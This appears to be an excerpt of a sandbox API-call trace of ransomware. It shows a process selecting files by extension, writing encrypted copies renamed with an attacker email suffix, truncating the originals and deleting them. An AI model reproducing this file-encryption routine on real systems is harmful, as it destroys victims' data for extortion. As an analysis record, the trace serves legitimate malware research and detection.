	[0062.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0062.523] lstrlenW (lpString=".dbf") returned 4
	[0062.523] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0062.523] lstrlenW (lpString=".1cd") returned 4
	[0062.523] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0062.523] lstrlenW (lpString=".jpg") returned 4
	[0062.523] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.523] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0062.524] lstrlenW (lpString="eula.rtf") returned 8
	[0062.524] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.524] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=54456) returned 1
	[0062.525] CloseHandle (hObject=0x328) returned 1
	[0062.525] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80
	[0062.525] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.525] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.525] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.525] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.525] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.526] GetLastError () returned 0x0
	[0062.526] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xd4b8, lpOverlapped=0x0) returned 1
	[0062.870] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xd4c0, lpOverlapped=0x0) returned 1
	[0062.872] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.872] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.872] SetEndOfFile (hFile=0x334) returned 1
	[0062.873] CloseHandle (hObject=0x334) returned 1
	[0062.875] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.875] SetEndOfFile (hFile=0x328) returned 1
	[0062.876] CloseHandle (hObject=0x328) returned 1
	[0062.876] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.876] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1
	[0062.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0062.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0062.877] lstrlenW (lpString=".doc") returned 4
	[0062.877] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.877] lstrlenW (lpString=".docx") returned 5
	[0062.877] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.877] lstrlenW (lpString=".pdf") returned 4
	[0062.877] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.877] lstrlenW (lpString=".xls") returned 4
	[0062.877] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.877] lstrlenW (lpString=".xlsx") returned 5
	[0062.877] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.877] lstrlenW (lpString=".ppt") returned 4
	[0062.877] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0062.877] lstrlenW (lpString=".zip") returned 4
	[0062.877] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.877] lstrlenW (lpString=".rar") returned 4
	[0062.877] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.877] lstrlenW (lpString=".bz2") returned 4
	[0062.877] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.877] lstrlenW (lpString=".7z") returned 3
	[0062.877] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0062.877] lstrlenW (lpString=".dbf") returned 4
	[0062.877] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0062.877] lstrlenW (lpString=".1cd") returned 4
	[0062.877] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0062.877] lstrlenW (lpString=".jpg") returned 4
	[0062.877] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0062.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0062.878] lstrlenW (lpString=".doc") returned 4
	[0062.878] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.878] lstrlenW (lpString=".docx") returned 5
	[0062.878] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.878] lstrlenW (lpString=".pdf") returned 4
	[0062.878] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.878] lstrlenW (lpString=".xls") returned 4
	[0062.878] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.878] lstrlenW (lpString=".xlsx") returned 5
	[0062.878] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.878] lstrlenW (lpString=".ppt") returned 4
	[0062.878] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0062.878] lstrlenW (lpString=".zip") returned 4
	[0062.878] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.878] lstrlenW (lpString=".rar") returned 4
	[0062.878] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.878] lstrlenW (lpString=".bz2") returned 4
	[0062.878] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.878] lstrlenW (lpString=".7z") returned 3
	[0062.878] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0062.878] lstrlenW (lpString=".dbf") returned 4
	[0062.878] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0062.878] lstrlenW (lpString=".1cd") returned 4
	[0062.878] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0062.878] lstrlenW (lpString=".jpg") returned 4
	[0062.878] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.879] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0062.879] lstrlenW (lpString="eula.rtf") returned 8
	[0062.879] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.879] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=6309) returned 1
	[0062.879] CloseHandle (hObject=0x328) returned 1
	[0062.879] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80
	[0062.879] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.879] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.879] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.879] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.879] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.880] GetLastError () returned 0x0
	[0062.880] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x18a5, lpOverlapped=0x0) returned 1
	[0062.881] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x18b0, lpOverlapped=0x0) returned 1
	[0062.882] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.882] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.882] SetEndOfFile (hFile=0x334) returned 1
	[0062.883] CloseHandle (hObject=0x334) returned 1
	[0062.883] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.883] SetEndOfFile (hFile=0x328) returned 1
	[0062.884] CloseHandle (hObject=0x328) returned 1
	[0062.884] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.885] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1
	[0062.885] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0062.885] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0062.885] lstrlenW (lpString=".doc") returned 4
	[0062.885] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.885] lstrlenW (lpString=".docx") returned 5
	[0062.885] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.885] lstrlenW (lpString=".pdf") returned 4
	[0062.885] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.885] lstrlenW (lpString=".xls") returned 4
	[0062.885] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.885] lstrlenW (lpString=".xlsx") returned 5
	[0062.885] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.885] lstrlenW (lpString=".ppt") returned 4
	[0062.885] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.885] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0062.885] lstrlenW (lpString=".zip") returned 4
	[0062.885] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.885] lstrlenW (lpString=".rar") returned 4
	[0062.885] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.885] lstrlenW (lpString=".bz2") returned 4
	[0062.885] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.885] lstrlenW (lpString=".7z") returned 3
	[0062.886] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0062.886] lstrlenW (lpString=".dbf") returned 4
	[0062.886] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0062.886] lstrlenW (lpString=".1cd") returned 4
	[0062.886] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0062.886] lstrlenW (lpString=".jpg") returned 4
	[0062.886] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0062.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0062.886] lstrlenW (lpString=".doc") returned 4
	[0062.886] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.886] lstrlenW (lpString=".docx") returned 5
	[0062.886] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.886] lstrlenW (lpString=".pdf") returned 4
	[0062.886] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.886] lstrlenW (lpString=".xls") returned 4
	[0062.886] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.886] lstrlenW (lpString=".xlsx") returned 5
	[0062.886] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.886] lstrlenW (lpString=".ppt") returned 4
	[0062.886] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0062.886] lstrlenW (lpString=".zip") returned 4
	[0062.886] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.886] lstrlenW (lpString=".rar") returned 4
	[0062.886] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.886] lstrlenW (lpString=".bz2") returned 4
	[0062.886] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.886] lstrlenW (lpString=".7z") returned 3
	[0062.887] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0062.887] lstrlenW (lpString=".dbf") returned 4
	[0062.887] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0062.887] lstrlenW (lpString=".1cd") returned 4
	[0062.887] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0062.887] lstrlenW (lpString=".jpg") returned 4
	[0062.887] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.887] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0062.887] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.887] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.887] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=60816) returned 1
	[0062.887] CloseHandle (hObject=0x328) returned 1
	[0062.887] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80
	[0062.888] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.888] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.888] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.888] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.888] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.888] GetLastError () returned 0x0
	[0062.888] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xed90, lpOverlapped=0x0) returned 1
	[0062.890] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xeda0, lpOverlapped=0x0) returned 1
	[0062.892] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.892] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.892] SetEndOfFile (hFile=0x334) returned 1
	[0062.892] CloseHandle (hObject=0x334) returned 1
	[0062.894] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.895] SetEndOfFile (hFile=0x328) returned 1
	[0062.896] CloseHandle (hObject=0x328) returned 1
	[0062.896] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.896] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1
	[0062.896] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0062.896] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0062.896] lstrlenW (lpString=".doc") returned 4
	[0062.896] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.896] lstrlenW (lpString=".docx") returned 5
	[0062.896] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.896] lstrlenW (lpString=".pdf") returned 4
	[0062.897] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.897] lstrlenW (lpString=".xls") returned 4
	[0062.897] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.897] lstrlenW (lpString=".xlsx") returned 5
	[0062.897] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.897] lstrlenW (lpString=".ppt") returned 4
	[0062.897] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.897] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0062.897] lstrlenW (lpString=".zip") returned 4
	[0062.897] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.897] lstrlenW (lpString=".rar") returned 4
	[0062.897] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.897] lstrlenW (lpString=".bz2") returned 4
	[0062.897] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.897] lstrlenW (lpString=".7z") returned 3
	[0062.897] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.897] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0062.897] lstrlenW (lpString=".dbf") returned 4
	[0062.897] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.897] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0062.897] lstrlenW (lpString=".1cd") returned 4
	[0062.897] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.897] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0062.897] lstrlenW (lpString=".jpg") returned 4
	[0062.897] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.897] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0062.897] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0062.897] lstrlenW (lpString=".doc") returned 4
	[0062.897] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.897] lstrlenW (lpString=".docx") returned 5
	[0062.897] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.897] lstrlenW (lpString=".pdf") returned 4
	[0062.897] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.898] lstrlenW (lpString=".xls") returned 4
	[0062.898] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.898] lstrlenW (lpString=".xlsx") returned 5
	[0062.898] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.898] lstrlenW (lpString=".ppt") returned 4
	[0062.898] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0062.898] lstrlenW (lpString=".zip") returned 4
	[0062.898] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.898] lstrlenW (lpString=".rar") returned 4
	[0062.898] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.898] lstrlenW (lpString=".bz2") returned 4
	[0062.898] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.898] lstrlenW (lpString=".7z") returned 3
	[0062.898] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0062.898] lstrlenW (lpString=".dbf") returned 4
	[0062.898] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0062.898] lstrlenW (lpString=".1cd") returned 4
	[0062.898] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0062.898] lstrlenW (lpString=".jpg") returned 4
	[0062.898] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.898] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0062.898] lstrlenW (lpString="eula.rtf") returned 8
	[0062.898] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.899] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=3069) returned 1
	[0062.899] CloseHandle (hObject=0x328) returned 1
	[0062.899] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80
	[0062.899] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.899] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.899] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.899] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
